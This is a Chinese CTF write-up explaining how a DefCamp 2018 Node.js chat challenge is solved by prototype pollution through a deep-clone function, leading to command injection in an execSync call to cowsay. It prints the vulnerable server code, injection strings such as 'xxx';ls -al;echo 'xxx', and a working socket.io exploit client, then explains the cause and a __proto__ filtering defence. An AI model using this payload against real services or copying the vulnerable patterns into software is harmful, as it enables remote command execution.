从一道 CTF 题看 Nodej.js 的 prototype pollution attack

栏目: JavaScript · 发布时间: 6年前

内容简介:文章的灵感来自于刚刚结束的 DefCamp CTF 2018 上的一道题目,主要的考点是 Node.js 的 prototype pollution attack。因为在 CTF 中 Node.js 的题型较少,同时本人也恰好对其比较感兴趣,所以特地来分析一下这道题的前因后果。题目是一个由 Node.js 编写的基于 socket.io 的聊天应用,运行在客户端的代码非常简单,分析 client.js 我们可以发现其只是向服务端注册用户并发送消息:

前言

文章的灵感来自于刚刚结束的 DefCamp CTF 2018 上的一道题目,主要的考点是 Node.js 的 prototype pollution attack。因为在 CTF 中 Node.js 的题型较少,同时本人也恰好对其比较感兴趣,所以特地来分析一下这道题的前因后果。

题目

题目是一个由 Node.js 编写的基于 socket.io 的聊天应用,运行在 https://chat.dctfq18.def.camp 的 80 端口上,我们可以从 https://dctf.def.camp/dctf-18-quals-81249812/chat.zip 下载源码

客户端的代码非常简单,分析 client.js 我们可以发现其只是向服务端注册用户并发送消息:

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2],
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

所以我们需要继续审计服务端的代码,可以看到 server.js 中存在着很一个敏感的函数 getAscii ,在分析了其对应的代码后,可以发现其中存在着一个很明显的命令注入问题:

getAscii: function(message) {
    var e = require('child_process');
    return e.execSync("cowsay '" + message + "'").toString();
}

只要我们构造 message = "aaa';ls -al; echo 'xxx" ,服务器就会将命令 cowsay 'aaa'; ls -al; echo 'xxx' 执行后的结果发送给我们。

那么我们需要关注的下一个问题则是哪里会调用 getAscii 函数,可以发现服务端会在监听到 join 和 leave 两个事件的时候触发该函数:

client.on('join', function(channel) {
    try {
        clientManager.joinChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You joined channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);

        sendMessageToChannel(channel,"Server", 
            helper.getAscii("User " + u + " living in " + c + " joined channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
    try {
        client .join(channel);
        clientManager.leaveChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You left channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);
        sendMessageToChannel(channel, "Server", 
            helper.getAscii("User " + u + " living in " + c + " left channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

所以下一个问题则变成了如何控制变量 uc ,即用户输入的 username 和 country,但问题是不是这么简单呢?当然不是,服务端会对用户的输入做非常严格的校验:

validUser: function(inp) {
    var block = ["source","port","font","country",
                    "location","status","lastname"];
    if(typeof inp !== 'object') {
        return false;
    } 

    var keys = Object.keys(inp);
    for(var i = 0; i< keys.length; i++) {
        key = keys[i];

        if(block.indexOf(key) !== -1) {
            return false;
        }
    }

    var r =/^[a-z0-9]+$/gi;
    if(inp.name === undefined || !r.test(inp.name)) {
        return false;
    }

    return true;
}

可以看到由于正则检查的存在,我们根本无法在 name 属性注入代码,而且由于黑名单的限制,我们也无法直接给 country 属性赋值,那么问题是不是已经陷入僵局了?答案是否定的,天无绝人之路,在这里,我们可以使用 prototype pollution attack 来间接复写 country 属性。

具体操作如下:

  1. 我们通过给对象的 __proto__ 属性赋值,构造出 {"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}
  2. 在服务端接收该对象并调用 clone 函数后,攻击生效。此时访问对象的 country 属性,会得到我们注入的 "xxx';ls -al;echo 'xxx"
  3. 服务端执行 getAscii 函数,触发命令注入
  4. 继续改写 payload,成功 get flag

从一道 CTF 题看 Nodej.js 的 prototype pollution attack

payload

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`);
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', 'xxx');

问题分析

本题的解题思路就到此为止了,但题目背后的 prototype pollution attack 还是非常值得我们思考的。以上题为例,我们来分析一下为什么会触发该攻击。

可以看到上题中,在收到客户端的数据后,服务端会先调用 JSON.parse 解析用户输入,然后再调用 clone 函数: newUser = helper.clone(JSON.parse(inUser)) ,而问题恰好出在 clone 函数上,我们可以编写代码来复现该操作:

function clone(obj) {
    if (typeof obj !== 'object' || obj === null) {
        return obj;
    }

    var newObj;
    var cloneDeep = false;

    if (!Array.isArray(obj)) {
        if (Buffer.isBuffer(obj)) {
            newObj = new Buffer(obj);
        } else if (obj instanceof Date) {
            newObj = new Date(obj.getTime());
        } else if (obj instanceof RegExp) {
            newObj = new RegExp(obj);
        } else {
            var proto = Object.getPrototypeOf(obj);
            if (proto && proto.isImmutable) {
                newObj = obj;
            } else {
                newObj = Object.create(proto);
                cloneDeep = true;
            }
        }
    } else {
        newObj = [];
        cloneDeep = true;
    }

    if (cloneDeep) {
        var keys = Object.getOwnPropertyNames(obj);
        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            var descriptor = Object.getOwnPropertyDescriptor(obj, key);
            if (descriptor && (descriptor.get || descriptor.set)) {
                Object.defineProperty(newObj, key, descriptor);
            } else {
                newObj[key] = clone(obj[key]);
            }
        }
    }
    return newObj;
}

var payload = '{"__proto__":{"oops":"It works !"}}';
var oldObj = JSON.parse(payload);
console.log(oldObj.oops);
var newObj = clone(oldObj);
console.log(newObj.oops);

运行代码,可以发现在调用 clone 函数之前,我们尝试访问 oldObj 的 oops 属性,得到的结果是 undefined,该属性不存在;但在 clone 后得到的新对象 newObj 中,我们成功访问到了原本不存在的 oops 属性。运行结果如下:

$ node test.js
undefined
It works !

这说明了我们无法在 oldObj 的自有属性或原型链上找到 oops 属性,但可以在 newObj 上找到 oops 属性,那么必然在调用 clone 函数得到 newObj 的时候,newObj 的原型发生了修改,所以我们才能成功访问到 newObj 的 oops 属性。

追踪函数,可以定位到发生问题的操作在哪:

从一道 CTF 题看 Nodej.js 的 prototype pollution attack

很明显,在调用 Object.getOwnPropertyNames(obj); 后获得的键名中存在 __proto__ ,因为在这里 __proto__ 属性是 obj 对象的一个普通的自有属性,所以可以被该函数所返回,而一般对象的 __proto__ 属性是不会被该函数所列举出来的。而之后的 newObj['__proto__'] = clone(obj['__proto__']); 的赋值操作使得 newObj 的原型发生了变化。

为了加深理解,我们可以继续看下图:

从一道 CTF 题看 Nodej.js 的 prototype pollution attack

我们声明了三个 Object,分别是由 JSON.parse 生成的 oldObj,对 oldObj 调用 clone 函数生成的 newObj,以及通过对象字面量直接构造的 oriObj。

通过对三个对象分别调用 xxx.hasOwnProperty('__proto__') 函数,我们可以发现只有 oldObj 在调用该函数时返回了 true;而在调用 Object.getPrototypeOf(xxx) 后,只有 newObj 和 oriObj 返回的是 Object {oops: "It works !"} ,oldObj 返回的是 Object {constructor: , __defineGetter__: , __defineSetter__: , hasOwnProperty: , __lookupGetter__: , …} 。这说明 oldObj 的 __proto__ 属性与其余二者不同,并非是指向原型的属性,而是一个普通的自有属性,与其余的自有属性并没有什么区别,只是恰好名字较为敏感。

这就解释了上面的现象,为什么在 JSON.parse 后得到的对象不存在 prototype pollution 的问题,因为此时其所具有的 __proto__ 属性仅仅是一个普通的自有属性,对象在查找属性时会在真正的原型上进行查找,但在执行 clone 函数的过程中,由于该属性名字的特殊性,触发了新对象的原型的修改,最终导致了 prototype pollution。

对 js 如何查找对象属性感兴趣的同学可以继续参考下图:

从一道 CTF 题看 Nodej.js 的 prototype pollution attack

总结

至此,我们再来梳理一下 prototype pollution attack 触发的流程:

  1. 攻击者发送的字符串 {"__proto__":{"oops":"It works !"}} 在被服务端调用 JSON.parse 解析后得到 obj1,但 obj1 的原型是安全的,此时 __proto__ 仅仅是 obj1 的一个普通的自有属性
  2. 服务端调用 clone 或类似具有风险的函数,得到了新的对象 obj2,此时 obj2 的原型已经被污染,指向了攻击者注入的属性 {"oops":"It works !"}
  3. 服务端调用新的对象 obj2时,触发可能的危险操作

对该攻击的防御也很简单,在赋值操作时注意危险的 __proto__ 属性即可。

举例说明,下图是 npm 上的库 hoek 在 prototype pollution attack 发生后提交的 patch,可以看到只要简单的过滤即可防御该攻击:

从一道 CTF 题看 Nodej.js 的 prototype pollution attack

参考链接


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

黑客与画家

黑客与画家

[美] Paul Graham / 阮一峰 / 人民邮电出版社 / 2013-10 / 69.00元

本书是硅谷创业之父Paul Graham 的文集,主要介绍黑客即优秀程序员的爱好和动机,讨论黑客成长、黑客对世界的贡献以及编程语言和黑客工作方法等所有对计算机时代感兴趣的人的一些话题。书中的内容不但有助于了解计算机编程的本质、互联网行业的规则,还会帮助读者了解我们这个时代,迫使读者独立思考。 本书适合所有程序员和互联网创业者,也适合一切对计算机行业感兴趣的读者。一起来看看 《黑客与画家》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具